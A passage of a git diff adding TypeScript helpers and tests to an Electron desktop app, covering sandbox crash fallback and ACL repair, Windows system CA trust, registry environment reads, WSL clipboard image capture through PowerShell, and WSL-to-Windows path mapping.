+export function fallbackMarker(reason: SandboxFallbackReason, appVersion?: string): SandboxMarker {
+  const marker: SandboxMarker = { state: 'fallback', reason }
+
+  if (appVersion) {
+    marker.version = appVersion
+  }
+
+  return marker
+}
+
+/**
+ * After the main window reaches ready-to-show: keep the sticky fallback when
+ * we launched with `--no-sandbox`, otherwise mark a clean boot so future
+ * launches trust the sandbox again.
+ */
+export function markerAfterSuccessfulBoot(options: {
+  fallbackActive: boolean
+  reason?: SandboxFallbackReason
+  appVersion?: string
+}): SandboxMarker {
+  if (!options.fallbackActive) {
+    return { state: 'ok' }
+  }
+
+  return fallbackMarker(options.reason ?? 'boot-loop', options.appVersion)
+}
+
+/**
+ * ACL repair is not free (`icacls /T` recurses the whole install tree), so it
+ * only runs when there is evidence of trouble: a prior launch aborted
+ * mid-boot, or the fallback already engaged. Healthy hosts never pay for it —
+ * the installer already granted the ACE at install time.
+ */
+export function shouldAttemptAclRepair(marker: SandboxMarker | null | undefined): boolean {
+  return marker?.state === 'booting' || marker?.state === 'fallback'
+}
+
+/**
+ * Build `icacls` argv that grants ALL APPLICATION PACKAGES RX with inheritance.
+ * `/T` applies to existing children (win-unpacked DLLs); `/C` continues on
+ * errors; `/Q` stays quiet for installer logs.
+ */
+export function buildIcaclsGrantArgs(targetDir: string): string[] {
+  return [String(targetDir), '/grant', `*${ALL_APPLICATION_PACKAGES_SID}:(OI)(CI)(RX)`, '/T', '/C', '/Q']
+}
+
+export function grantAllApplicationPackagesAcl(
+  targetDir: string,
+  {
+    platform = process.platform,
+    execFileSync
+  }: {
+    platform?: NodeJS.Platform | string
+    execFileSync?: (file: string, args: readonly string[], options?: object) => Buffer | string
+  } = {}
+): { ok: boolean; error?: string } {
+  if (platform !== 'win32') {
+    return { ok: false }
+  }
+
+  const dir = String(targetDir || '').trim()
+
+  if (!dir || typeof execFileSync !== 'function') {
+    return { ok: false, error: 'missing-target-or-exec' }
+  }
+
+  try {
+    execFileSync('icacls', buildIcaclsGrantArgs(dir), {
+      windowsHide: true,
+      timeout: 30_000,
+      stdio: 'ignore'
+    })
+
+    return { ok: true }
+  } catch (error) {
+    return {
+      ok: false,
+      error: error instanceof Error ? error.message : String(error)
+    }
+  }
+}
+
+/**
+ * True when a GPU child died with the #38216 breakpoint signature and we
+ * should one-shot relaunch with `--no-sandbox` before Chromium FATAL-exits.
+ */
+export function shouldRelaunchForGpuSandboxCrash(options: {
+  platform?: NodeJS.Platform | string
+  details?: { type?: string; exitCode?: number | string } | null
+  alreadyNoSandbox?: boolean
+  relaunchAttempted?: boolean
+}): boolean {
+  if ((options.platform ?? process.platform) !== 'win32') {
+    return false
+  }
+
+  if (options.alreadyNoSandbox || options.relaunchAttempted) {
+    return false
+  }
+
+  const type = String(options.details?.type || '').toLowerCase()
+
+  if (type !== 'gpu') {
+    return false
+  }
+
+  return isWindowsSandboxBreakpointExit(options.details?.exitCode)
+}
+
+/**
+ * True when a renderer crash loop carries the sandbox breakpoint signature
+ * and a one-shot `--no-sandbox` relaunch should replace the dead window
+ * (#38216 renderer flavor; same recovery as #56726). Gated on the breakpoint
+ * exit code so unrelated renderer crash loops (bad extension, OOM churn)
+ * don't silently drop the sandbox.
+ */
+export function shouldRelaunchForRendererSandboxCrashLoop(options: {
+  platform?: NodeJS.Platform | string
+  reason?: string
+  exitCode?: number | string
+  alreadyNoSandbox?: boolean
+  relaunchAttempted?: boolean
+}): boolean {
+  if ((options.platform ?? process.platform) !== 'win32') {
+    return false
+  }
+
+  if (options.alreadyNoSandbox || options.relaunchAttempted) {
+    return false
+  }
+
+  if (String(options.reason || '') !== 'crashed') {
+    return false
+  }
+
+  return isWindowsSandboxBreakpointExit(options.exitCode)
+}
+
+export function buildNoSandboxRelaunchArgs(argv: readonly string[]): string[] {
+  const args = (Array.isArray(argv) ? argv : []).filter(arg => arg !== '--no-sandbox')
+
+  args.push('--no-sandbox')
+
+  return args
+}
diff --git a/ui-desktop/electron/windows-system-ca.test.ts b/ui-desktop/electron/windows-system-ca.test.ts
new file mode 100644
index 000000000..d7e408bd2
--- /dev/null
+++ b/ui-desktop/electron/windows-system-ca.test.ts
@@ -0,0 +1,96 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { installWindowsSystemCaTrust, type NodeTlsCaApi } from './windows-system-ca'
+
+function fakeTlsApi(
+  defaults: string[] = ['bundled-ca', 'extra-ca'],
+  system: string[] = ['windows-root-ca']
+): NodeTlsCaApi & { installed: string[][] } {
+  const installed: string[][] = []
+
+  return {
+    installed,
+    getCACertificates(type = 'default') {
+      return type === 'system' ? [...system] : [...defaults]
+    },
+    setDefaultCACertificates(certificates) {
+      installed.push([...certificates])
+    }
+  }
+}
+
+test('installs Windows system CAs without dropping existing defaults', () => {
+  const tlsApi = fakeTlsApi(['mozilla-root', 'extra-ca'], ['machine-root', 'user-root'])
+
+  const result = installWindowsSystemCaTrust(tlsApi, 'win32')
+
+  assert.deepEqual(tlsApi.installed, [['mozilla-root', 'extra-ca', 'machine-root', 'user-root']])
+  assert.deepEqual(result, {
+    applied: true,
+    systemCertificateCount: 2,
+    totalCertificateCount: 4
+  })
+})
+
+test('does not inspect or replace CAs outside Windows', () => {
+  let reads = 0
+
+  const tlsApi: NodeTlsCaApi = {
+    getCACertificates() {
+      reads += 1
+
+      return []
+    },
+    setDefaultCACertificates() {
+      throw new Error('should not install')
+    }
+  }
+
+  const result = installWindowsSystemCaTrust(tlsApi, 'darwin')
+
+  assert.equal(reads, 0)
+  assert.deepEqual(result, {
+    applied: false,
+    systemCertificateCount: 0,
+    totalCertificateCount: 0
+  })
+})
+
+test('leaves the existing defaults untouched when Windows has no system CAs', () => {
+  const tlsApi = fakeTlsApi(['mozilla-root'], [])
+
+  const result = installWindowsSystemCaTrust(tlsApi, 'win32')
+
+  assert.deepEqual(tlsApi.installed, [])
+  assert.deepEqual(result, {
+    applied: false,
+    systemCertificateCount: 0,
+    totalCertificateCount: 1
+  })
+})
+
+test('fails open when the runtime cannot load the Windows certificate store', () => {
+  const tlsApi: NodeTlsCaApi = {
+    getCACertificates(type = 'default') {
+      if (type === 'system') {
+        throw new Error('certificate store unavailable')
+      }
+
+      return ['mozilla-root']
+    },
+    setDefaultCACertificates() {
+      throw new Error('should not install')
+    }
+  }
+
+  const result = installWindowsSystemCaTrust(tlsApi, 'win32')
+
+  assert.deepEqual(result, {
+    applied: false,
+    systemCertificateCount: 0,
+    totalCertificateCount: 0,
+    error: 'certificate store unavailable'
+  })
+})
diff --git a/ui-desktop/electron/windows-system-ca.ts b/ui-desktop/electron/windows-system-ca.ts
new file mode 100644
index 000000000..f4406fdd4
--- /dev/null
+++ b/ui-desktop/electron/windows-system-ca.ts
@@ -0,0 +1,53 @@
+interface NodeTlsCaApi {
+  getCACertificates(type?: 'default' | 'system'): string[]
+  setDefaultCACertificates(certificates: string[]): void
+}
+
+interface WindowsSystemCaResult {
+  applied: boolean
+  systemCertificateCount: number
+  totalCertificateCount: number
+  error?: string
+}
+
+function installWindowsSystemCaTrust(tlsApi: NodeTlsCaApi, platform = process.platform): WindowsSystemCaResult {
+  if (platform !== 'win32') {
+    return {
+      applied: false,
+      systemCertificateCount: 0,
+      totalCertificateCount: 0
+    }
+  }
+
+  try {
+    const defaultCertificates = tlsApi.getCACertificates('default')
+    const systemCertificates = tlsApi.getCACertificates('system')
+
+    if (systemCertificates.length === 0) {
+      return {
+        applied: false,
+        systemCertificateCount: 0,
+        totalCertificateCount: defaultCertificates.length
+      }
+    }
+
+    const certificates = [...defaultCertificates, ...systemCertificates]
+    tlsApi.setDefaultCACertificates(certificates)
+
+    return {
+      applied: true,
+      systemCertificateCount: systemCertificates.length,
+      totalCertificateCount: certificates.length
+    }
+  } catch (error) {
+    return {
+      applied: false,
+      systemCertificateCount: 0,
+      totalCertificateCount: 0,
+      error: error instanceof Error ? error.message : String(error)
+    }
+  }
+}
+
+export { installWindowsSystemCaTrust }
+export type { NodeTlsCaApi, WindowsSystemCaResult }
diff --git a/ui-desktop/electron/windows-user-env.test.ts b/ui-desktop/electron/windows-user-env.test.ts
new file mode 100644
index 000000000..f3b587b47
--- /dev/null
+++ b/ui-desktop/electron/windows-user-env.test.ts
@@ -0,0 +1,87 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { expandWindowsEnvRefs, parseRegQueryValue, readWindowsUserEnvVar } from './windows-user-env'
+
+// ── parseRegQueryValue ─────────────────────────────────────────────────────
+
+test('parseRegQueryValue extracts a REG_SZ value', () => {
+  const out = ['', 'HKEY_CURRENT_USER\\Environment', '    CLAWCODEX_CONFIG_DIR    REG_SZ    F:\\ClawCodex\\data', ''].join('\r\n')
+  assert.equal(parseRegQueryValue(out, 'CLAWCODEX_CONFIG_DIR'), 'F:\\ClawCodex\\data')
+})
+
+test('parseRegQueryValue matches the name case-insensitively', () => {
+  const out = 'HKEY_CURRENT_USER\\Environment\r\n    ClawCodex_Config_Dir    REG_EXPAND_SZ    %USERPROFILE%\\h\r\n'
+  assert.equal(parseRegQueryValue(out, 'CLAWCODEX_CONFIG_DIR'), '%USERPROFILE%\\h')
+})
+
+test('parseRegQueryValue preserves spaces inside the value', () => {
+  const out = '    CLAWCODEX_CONFIG_DIR    REG_SZ    C:\\Program Files\\ClawCodex\r\n'
+  assert.equal(parseRegQueryValue(out, 'CLAWCODEX_CONFIG_DIR'), 'C:\\Program Files\\ClawCodex')
+})
+
+test('parseRegQueryValue returns null when the value line is absent', () => {
+  const out = 'HKEY_CURRENT_USER\\Environment\r\n    Path    REG_SZ    C:\\x\r\n'
+  assert.equal(parseRegQueryValue(out, 'CLAWCODEX_CONFIG_DIR'), null)
+  assert.equal(parseRegQueryValue('', 'CLAWCODEX_CONFIG_DIR'), null)
+  assert.equal(parseRegQueryValue('garbage', 'CLAWCODEX_CONFIG_DIR'), null)
+})
+
+// ── expandWindowsEnvRefs ───────────────────────────────────────────────────
+
+test('expandWindowsEnvRefs expands %VAR% case-insensitively', () => {
+  assert.equal(expandWindowsEnvRefs('%UserProfile%\\h', { USERPROFILE: 'C:\\Users\\jeff' }), 'C:\\Users\\jeff\\h')
+})
+
+test('expandWindowsEnvRefs leaves literal paths and unknown refs intact', () => {
+  assert.equal(expandWindowsEnvRefs('F:\\ClawCodex\\data', {}), 'F:\\ClawCodex\\data')
+  assert.equal(expandWindowsEnvRefs('%NOPE%\\x', {}), '%NOPE%\\x')
+})
+
+// ── readWindowsUserEnvVar ──────────────────────────────────────────────────
+
+test('readWindowsUserEnvVar returns null off Windows without spawning', () => {
+  let spawned = false
+
+  const exec = () => {
+    spawned = true
+
+    return ''
+  }
+
+  assert.equal(readWindowsUserEnvVar('CLAWCODEX_CONFIG_DIR', { platform: 'linux', exec }), null)
+  assert.equal(spawned, false)
+})
+
+test('readWindowsUserEnvVar queries HKCU\\Environment and expands the value', () => {
+  const calls = []
+
+  const exec = (cmd, args) => {
+    calls.push([cmd, args])
+
+    return 'HKEY_CURRENT_USER\\Environment\r\n    CLAWCODEX_CONFIG_DIR    REG_EXPAND_SZ    %DRIVE%\\ClawCodex\r\n'
+  }
+
+  const value = readWindowsUserEnvVar('CLAWCODEX_CONFIG_DIR', {
+    platform: 'win32',
+    env: { DRIVE: 'F:' },
+    exec
+  })
+
+  assert.equal(value, 'F:\\ClawCodex')
+  assert.deepEqual(calls, [['reg', ['query', 'HKCU\\Environment', '/v', 'CLAWCODEX_CONFIG_DIR']]])
+})
+
+test('readWindowsUserEnvVar returns null when reg exits non-zero (value missing)', () => {
+  const exec = () => {
+    throw new Error('reg exited 1')
+  }
+
+  assert.equal(readWindowsUserEnvVar('CLAWCODEX_CONFIG_DIR', { platform: 'win32', exec }), null)
+})
+
+test('readWindowsUserEnvVar returns null for an empty value', () => {
+  const exec = () => '    CLAWCODEX_CONFIG_DIR    REG_SZ    \r\n'
+  assert.equal(readWindowsUserEnvVar('CLAWCODEX_CONFIG_DIR', { platform: 'win32', exec }), null)
+})
diff --git a/ui-desktop/electron/windows-user-env.ts b/ui-desktop/electron/windows-user-env.ts
new file mode 100644
index 000000000..e91fdc7b2
--- /dev/null
+++ b/ui-desktop/electron/windows-user-env.ts
@@ -0,0 +1,99 @@
+// windows-user-env.ts
+//
+// Read a User-scoped environment variable straight from the Windows registry
+// (HKCU\Environment).
+//
+// A GUI app launched from Explorer inherits the environment block captured at
+// login, so a variable set via `setx` AFTER login is invisible in process.env
+// even though a fresh shell — and the ClawCodex CLI — sees it immediately. The
+// desktop's CLAWCODEX_CONFIG_DIR resolution relies on process.env, so that stale-snapshot
+// gap silently sends the backend to the default %LOCALAPPDATA%\clawcodex. Reading
+// the live registry value closes the gap. See #45471.
+
+import { execFileSync } from 'node:child_process'
+
+// Parse the output of `reg query HKCU\Environment /v <name>`, which looks like:
+//
+//   HKEY_CURRENT_USER\Environment
+//       CLAWCODEX_CONFIG_DIR    REG_SZ    F:\ClawCodex\data
+//
+// Returns the raw value string (spaces inside the value preserved), or null when
+// the requested value line isn't present.
+function parseRegQueryValue(stdout, name) {
+  if (!stdout || !name) {
+    return null
+  }
+
+  const typePattern = /^(\S+)\s+(?:REG_SZ|REG_EXPAND_SZ|REG_MULTI_SZ|REG_DWORD|REG_QWORD|REG_BINARY|REG_NONE)\s+(.*)$/
+
+  for (const rawLine of String(stdout).split(/\r?\n/)) {
+    const line = rawLine.trim()
+    const match = line.match(typePattern)
+
+    if (match && match[1].toLowerCase() === name.toLowerCase()) {
+      return match[2]
+    }
+  }
+
+  return null
+}
+
+// Expand %VAR% references against an env map. REG_EXPAND_SZ values store
+// unexpanded references; plain REG_SZ paths have none, so this is a no-op for
+// the common F:\... case. Unknown references are left verbatim.
+function expandWindowsEnvRefs(value, env = process.env) {
+  if (!value) {
+    return value
+  }
+
+  return value.replace(/%([^%]+)%/g, (whole, name) => {
+    const key = Object.keys(env).find(k => k.toUpperCase() === String(name).toUpperCase())
+
+    return key != null && env[key] != null ? env[key] : whole
+  })
+}
+
+// Read a User-scoped env var from HKCU\Environment. Windows-only: returns null
+// off-Windows (without spawning), on any spawn error, when `reg` exits non-zero
+// (the value doesn't exist), or when the value is empty.
+function readWindowsUserEnvVar(
+  name,
+  {
+    platform = process.platform,
+    env = process.env,
+    exec = execFileSync
+  }: {
+    platform?: NodeJS.Platform
+    env?: NodeJS.ProcessEnv
+    exec?: typeof execFileSync | ((file?: string, args?: any) => string)
+  } = {}
+) {
+  if (platform !== 'win32' || !name) {
+    return null
+  }
+
+  let stdout
+
+  try {
+    stdout = exec('reg', ['query', 'HKCU\\Environment', '/v', name], {
+      encoding: 'utf8',
+      windowsHide: true,
+      timeout: 5000
+    })
+  } catch {
+    // `reg` missing, or value absent (reg exits 1) — caller falls back.
+    return null
+  }
+
+  const raw = parseRegQueryValue(stdout, name)
+
+  if (raw == null) {
+    return null
+  }
+
+  const expanded = expandWindowsEnvRefs(raw, env).trim()
+
+  return expanded || null
+}
+
+export { expandWindowsEnvRefs, parseRegQueryValue, readWindowsUserEnvVar }
diff --git a/ui-desktop/electron/workspace-cwd.test.ts b/ui-desktop/electron/workspace-cwd.test.ts
new file mode 100644
index 000000000..a2b890747
--- /dev/null
+++ b/ui-desktop/electron/workspace-cwd.test.ts
@@ -0,0 +1,34 @@
+/**
+ * Tests for electron/workspace-cwd.ts.
+ *
+ * Run with: node --test electron/workspace-cwd.test.ts
+ */
+
+import assert from 'node:assert/strict'
+import path from 'node:path'
+
+import { test } from 'vitest'
+
+import { isPackagedInstallPath } from './workspace-cwd'
+
+const installRoot = path.resolve('/opt/ClawCodex')
+
+test('isPackagedInstallPath returns false when not packaged', () => {
+  assert.equal(isPackagedInstallPath(installRoot, { isPackaged: false, installRoots: [installRoot] }), false)
+})
+
+test('isPackagedInstallPath flags the install root itself', () => {
+  assert.equal(isPackagedInstallPath(installRoot, { isPackaged: true, installRoots: [installRoot] }), true)
+})
+
+test('isPackagedInstallPath flags paths nested under the install root', () => {
+  const nested = path.join(installRoot, 'resources', 'app.asar')
+
+  assert.equal(isPackagedInstallPath(nested, { isPackaged: true, installRoots: [installRoot] }), true)
+})
+
+test('isPackagedInstallPath ignores paths outside the install root', () => {
+  const homeProject = path.resolve('/home/user/projects/demo')
+
+  assert.equal(isPackagedInstallPath(homeProject, { isPackaged: true, installRoots: [installRoot] }), false)
+})
diff --git a/ui-desktop/electron/workspace-cwd.ts b/ui-desktop/electron/workspace-cwd.ts
new file mode 100644
index 000000000..79ea87bee
--- /dev/null
+++ b/ui-desktop/electron/workspace-cwd.ts
@@ -0,0 +1,34 @@
+import path from 'node:path'
+
+/** True when `dir` lives inside a packaged app bundle / install tree. */
+function isPackagedInstallPath(dir, { installRoots, isPackaged }: { installRoots: string[]; isPackaged: boolean }) {
+  if (!isPackaged || !dir) {
+    return false
+  }
+
+  let resolved
+
+  try {
+    resolved = path.resolve(String(dir))
+  } catch {
+    return false
+  }
+
+  const roots = new Set((installRoots ?? []).filter(Boolean).map(candidate => path.resolve(String(candidate))))
+
+  for (const root of roots) {
+    if (resolved === root) {
+      return true
+    }
+
+    const rel = path.relative(root, resolved) as any
+
+    if (rel && !rel.startsWith('..') && !path.isAbsolute(rel)) {
+      return true
+    }
+  }
+
+  return false
+}
+
+export { isPackagedInstallPath }
diff --git a/ui-desktop/electron/wsl-clipboard-image.test.ts b/ui-desktop/electron/wsl-clipboard-image.test.ts
new file mode 100644
index 000000000..311d11ca7
--- /dev/null
+++ b/ui-desktop/electron/wsl-clipboard-image.test.ts
@@ -0,0 +1,124 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import {
+  decodeClipboardImageBase64,
+  encodePowerShellCommand,
+  powershellCandidates,
+  readWslWindowsClipboardImage
+} from './wsl-clipboard-image'
+
+const PNG_SIGNATURE = Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a])
+
+function fakePngBuffer(extraBytes = 16) {
+  return Buffer.concat([PNG_SIGNATURE, Buffer.alloc(extraBytes, 0x42)])
+}
+
+test('encodePowerShellCommand produces UTF-16LE base64 PowerShell can decode', () => {
+  const encoded = encodePowerShellCommand('Write-Output "hi"')
+  const roundTripped = Buffer.from(encoded, 'base64').toString('utf16le')
+  assert.equal(roundTripped, 'Write-Output "hi"')
+})
+
+test('decodeClipboardImageBase64 returns a Buffer for valid PNG base64', () => {
+  const png = fakePngBuffer()
+  const decoded = decodeClipboardImageBase64(png.toString('base64'))
+  assert.ok(Buffer.isBuffer(decoded))
+  assert.ok(decoded.equals(png))
+})
+
+test('decodeClipboardImageBase64 trims surrounding whitespace before decoding', () => {
+  const png = fakePngBuffer()
+  const decoded = decodeClipboardImageBase64(`\n  ${png.toString('base64')}  \r\n`)
+  assert.ok(decoded && decoded.equals(png))
+})
+
+test('decodeClipboardImageBase64 returns null for empty / whitespace input', () => {
+  assert.equal(decodeClipboardImageBase64(''), null)
+  assert.equal(decodeClipboardImageBase64('   \n  '), null)
+  assert.equal(decodeClipboardImageBase64(null), null)
+  assert.equal(decodeClipboardImageBase64(undefined), null)
+})
+
+test('decodeClipboardImageBase64 rejects base64 without a PNG signature', () => {
+  // Valid base64, but the decoded bytes are not a PNG.
+  const notPng = Buffer.from('this is not a png at all').toString('base64')
+  assert.equal(decodeClipboardImageBase64(notPng), null)
+})
+
+test('readWslWindowsClipboardImage decodes the first candidate that returns a PNG', () => {
+  const png = fakePngBuffer()
+  const calls = []
+
+  const exec = ((cmd, args) => {
+    calls.push({ cmd, args })
+
+    return png.toString('base64')
+  }) as any
+
+  const result = readWslWindowsClipboardImage({ exec, candidates: ['powershell.exe'] })
+  assert.ok(result && result.equals(png))
+  assert.equal(calls.length, 1)
+  assert.equal(calls[0].cmd, 'powershell.exe')
+  // -STA is mandatory for System.Windows.Forms.Clipboard.
+  assert.ok(calls[0].args.includes('-STA'))
+  assert.ok(calls[0].args.includes('-EncodedCommand'))
+})
+
+test('readWslWindowsClipboardImage returns null and stops when stdout is empty (no image)', () => {
+  let count = 0
+
+  const exec = (() => {
+    count += 1
+
+    return ''
+  }) as any
+
+  const result = readWslWindowsClipboardImage({
+    exec,
+    candidates: ['powershell.exe', '/mnt/c/Windows/System32/WindowsPowerShell/v1.0/powershell.exe']
+  })
+
+  assert.equal(result, null)
+  // Empty stdout means "no image on the clipboard" — don't probe further candidates.
+  assert.equal(count, 1)
+})
+
+test('readWslWindowsClipboardImage falls through to the next candidate when one throws', () => {
+  const png = fakePngBuffer()
+  const seen = []
+
+  const exec = cmd => {
+    seen.push(cmd)
+
+    if (cmd === 'powershell.exe') {
+      throw Object.assign(new Error('not found'), { code: 'ENOENT' })
+    }
+
+    return png.toString('base64') as any
+  }
+
+  const result = readWslWindowsClipboardImage({
+    exec,
+    candidates: ['powershell.exe', '/mnt/c/Windows/System32/WindowsPowerShell/v1.0/powershell.exe']
+  })
+
+  assert.ok(result && result.equals(png))
+  assert.deepEqual(seen, ['powershell.exe', '/mnt/c/Windows/System32/WindowsPowerShell/v1.0/powershell.exe'])
+})
+
+test('readWslWindowsClipboardImage returns null when every candidate throws', () => {
+  const exec = () => {
+    throw new Error('boom')
+  }
+
+  const result = readWslWindowsClipboardImage({ exec, candidates: ['a', 'b'] })
+  assert.equal(result, null)
+})
+
+test('powershellCandidates lists the bare name first, then the absolute fallback', () => {
+  const candidates = powershellCandidates()
+  assert.equal(candidates[0], 'powershell.exe')
+  assert.ok(candidates.some(c => c.endsWith('WindowsPowerShell/v1.0/powershell.exe')))
+})
diff --git a/ui-desktop/electron/wsl-clipboard-image.ts b/ui-desktop/electron/wsl-clipboard-image.ts
new file mode 100644
index 000000000..2859f389c
--- /dev/null
+++ b/ui-desktop/electron/wsl-clipboard-image.ts
@@ -0,0 +1,102 @@
+// Pull a Windows-host clipboard image from inside WSL2 via PowerShell (WSLg
+// bridges text but not images). Returns PNG bytes or null; exec injectable.
+
+import { execFileSync } from 'node:child_process'
+
+// STA is mandatory: System.Windows.Forms.Clipboard throws ThreadStateException
+// off a single-threaded apartment. We emit base64 (not raw bytes) so the PNG
+// survives stdout's text decoding intact, and write with [Console]::Out.Write
+// to avoid a trailing newline.
+const PS_SCRIPT = [
+  'Add-Type -AssemblyName System.Windows.Forms,System.Drawing',
+  '$img = [System.Windows.Forms.Clipboard]::GetImage()',
+  'if ($null -eq $img) { exit 0 }',
+  '$ms = New-Object System.IO.MemoryStream',
+  '$img.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png)',
+  '[Console]::Out.Write([System.Convert]::ToBase64String($ms.ToArray()))'
+].join('\n')
+
+// PowerShell's -EncodedCommand takes UTF-16LE base64. Encoding the whole script
+// this way sidesteps every layer of WSL→Windows quoting (spaces, quotes,
+// brackets, newlines) that plain -Command arguments would mangle.
+function encodePowerShellCommand(script) {
+  return Buffer.from(String(script), 'utf16le').toString('base64')
+}
+
+// Locate powershell.exe. The bare name resolves through WSL's Windows-interop
+// PATH on every standard WSL2 setup; the absolute fallback covers a stripped
+// PATH. Returns the first candidate — execFile surfaces ENOENT if it's wrong
+// and we fall back to null.
+function powershellCandidates() {
+  return ['powershell.exe', '/mnt/c/Windows/System32/WindowsPowerShell/v1.0/powershell.exe']
+}
+
+function decodeClipboardImageBase64(stdout) {
+  const b64 = String(stdout || '').trim()
+
+  if (!b64) {
+    return null
+  }
+
+  let buffer
+
+  try {
+    buffer = Buffer.from(b64, 'base64')
+  } catch {
+    return null
+  }
+
+  // Guard against partial / garbage output: require a real PNG signature.
+  const PNG_SIGNATURE = Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a])
+
+  if (buffer.length < PNG_SIGNATURE.length || !buffer.subarray(0, PNG_SIGNATURE.length).equals(PNG_SIGNATURE)) {
+    return null
+  }
+
+  return buffer
+}
+
+// Read the Windows clipboard image from inside WSL. Returns a PNG Buffer, or
+// null when there's no image, PowerShell is unreachable, or output is invalid.
+// Linux-only by contract (caller gates on IS_WSL); never throws.
+function readWslWindowsClipboardImage({
+  exec = execFileSync,
+  candidates = powershellCandidates()
+}: { exec?: typeof execFileSync; candidates?: string[] } = {}) {
+  const encoded = encodePowerShellCommand(PS_SCRIPT)
+
+  for (const ps of candidates) {
+    try {
+      const stdout = exec(
+        ps,
+        ['-NoProfile', '-NonInteractive', '-STA', '-ExecutionPolicy', 'Bypass', '-EncodedCommand', encoded],
+        {
+          encoding: 'utf8',
+          windowsHide: true,
+          timeout: 8000,
+          // A 4K screenshot base64s to a few MB; give stdout generous headroom.
+          maxBuffer: 64 * 1024 * 1024,
+          // PowerShell writes progress/CLIXML noise to stderr — ignore it.
+          stdio: ['ignore', 'pipe', 'ignore']
+        }
+      )
+
+      const decoded = decodeClipboardImageBase64(stdout)
+
+      if (decoded) {
+        return decoded
+      }
+
+      // Empty stdout = no image on the clipboard; stop, don't try fallbacks.
+      if (String(stdout || '').trim() === '') {
+        return null
+      }
+    } catch {
+      // This powershell.exe candidate is missing/failed — try the next one.
+    }
+  }
+
+  return null
+}
+
+export { decodeClipboardImageBase64, encodePowerShellCommand, powershellCandidates, readWslWindowsClipboardImage }
diff --git a/ui-desktop/electron/wsl-path-bridge.test.ts b/ui-desktop/electron/wsl-path-bridge.test.ts
new file mode 100644
index 000000000..3dcf18e7b
--- /dev/null
+++ b/ui-desktop/electron/wsl-path-bridge.test.ts
@@ -0,0 +1,41 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { parseDefaultDistro, resolvePickerDefaultPath, wslPosixToWindowsAccessible } from './wsl-path-bridge'
+
+test('parseDefaultDistro reads the first distro from clean utf-8 output', () => {
+  assert.equal(parseDefaultDistro('Ubuntu\nDebian\n'), 'Ubuntu')
+})
+
+test('parseDefaultDistro survives UTF-16LE NUL bytes older wsl.exe leaves in (WSL#4607)', () => {
+  // `wsl.exe -l -q` emits UTF-16LE without a BOM on builds that ignore
+  // WSL_UTF8; decoded as utf8 that reads as NUL-interleaved text.
+  const utf16ish = '\0U\0b\0u\0n\0t\0u\0\r\0\n\0D\0e\0b\0i\0a\0n\0'
+  assert.equal(parseDefaultDistro(utf16ish), 'Ubuntu')
+})
+
+test('parseDefaultDistro strips the default-marker and blank lines', () => {
+  assert.equal(parseDefaultDistro('\n* Ubuntu\nDebian\n'), 'Ubuntu')
+  assert.equal(parseDefaultDistro('   \n\n'), null)
+})
+
+test('wslPosixToWindowsAccessible maps a drvfs mount to its Windows drive', () => {
+  assert.equal(wslPosixToWindowsAccessible('/mnt/c/Users/alex', 'Ubuntu'), 'C:\\Users\\alex')
+  assert.equal(wslPosixToWindowsAccessible('/mnt/d', 'Ubuntu'), 'D:\\')
+})
+
+test('wslPosixToWindowsAccessible maps an in-distro POSIX path to a UNC share', () => {
+  assert.equal(wslPosixToWindowsAccessible('/home/alex/proj', 'Ubuntu'), '\\\\wsl.localhost\\Ubuntu\\home\\alex\\proj')
+})
+
+test('wslPosixToWindowsAccessible leaves non-absolute / already-Windows paths alone', () => {
+  assert.equal(wslPosixToWindowsAccessible('C:\\Users\\alex', 'Ubuntu'), 'C:\\Users\\alex')
+  assert.equal(wslPosixToWindowsAccessible('relative/dir', 'Ubuntu'), 'relative/dir')
+})
+
+test('resolvePickerDefaultPath bridges a WSL cwd but passes Windows paths and empties through', () => {
+  assert.equal(resolvePickerDefaultPath('/home/alex', 'Ubuntu'), '\\\\wsl.localhost\\Ubuntu\\home\\alex')
+  assert.equal(resolvePickerDefaultPath('C:\\proj', 'Ubuntu'), 'C:\\proj')
+  assert.equal(resolvePickerDefaultPath(undefined, 'Ubuntu'), undefined)
+})
diff --git a/ui-desktop/electron/wsl-path-bridge.ts b/ui-desktop/electron/wsl-path-bridge.ts
new file mode 100644
index 000000000..b8983fe6e
--- /dev/null
+++ b/ui-desktop/electron/wsl-path-bridge.ts
@@ -0,0 +1,137 @@
+import { execFileSync } from 'node:child_process'
+import fs from 'node:fs'
+
+// Bridges WSL/POSIX paths into forms the *Windows host* can open, for the case
+// where the desktop UI runs on Windows and the gateway runs inside WSL (remote
+// mode). Only the Windows-side direction lives here: the native folder dialog's
+// defaultPath and the fs read path. The reverse (whatever path the backend
+// receives → POSIX) is handled once, gateway-side, in
+// clawcodex_constants.translate_cwd_for_wsl_backend, so it stays picker-agnostic.
+
+const IS_WINDOWS = process.platform === 'win32'
+const WIN_DRIVE_RE = /^([A-Za-z]):[\\/]/
+// `/mnt/c` and `/mnt/c/...` (drvfs default automount root).
+const WSL_MOUNT_RE = /^\/mnt\/([a-z])(?:\/(.*))?$/i
+
+let cachedDistro: null | string = null
+let cachedUncBase: null | string = null
+
+/**
+ * Pick the default distro from `wsl.exe -l -q` output.
+ *
+ * `wsl.exe` emits UTF-16LE without a BOM unless `WSL_UTF8=1` (WSL >= 0.64), so
+ * older builds leave NUL bytes between characters even when we ask for utf8 —
+ * strip them defensively before splitting. The default distro is the first
+ * (`*`-marked, decoration removed by `-q`) entry. See microsoft/WSL#4607.
+ */
+export function parseDefaultDistro(raw: string): null | string {
+  return (
+    String(raw || '')
+      .replace(/\0/g, '')
+      .split(/\r?\n/)
+      .map(line => line.replace(/^\*?\s*/, '').trim())
+      .find(Boolean) || null
+  )
+}
+
+/** Default WSL distro name (cached). Falls back to `Ubuntu`. */
+export function resolveDefaultWslDistro(): string {
+  if (cachedDistro) {
+    return cachedDistro
+  }
+
+  if (!IS_WINDOWS) {
+    cachedDistro = 'Ubuntu'
+
+    return cachedDistro
+  }
+
+  try {
+    const out = execFileSync('wsl.exe', ['-l', '-q'], {
+      encoding: 'utf8',
+      env: { ...process.env, WSL_UTF8: '1' },
+      timeout: 2000,
+      windowsHide: true
+    })
+
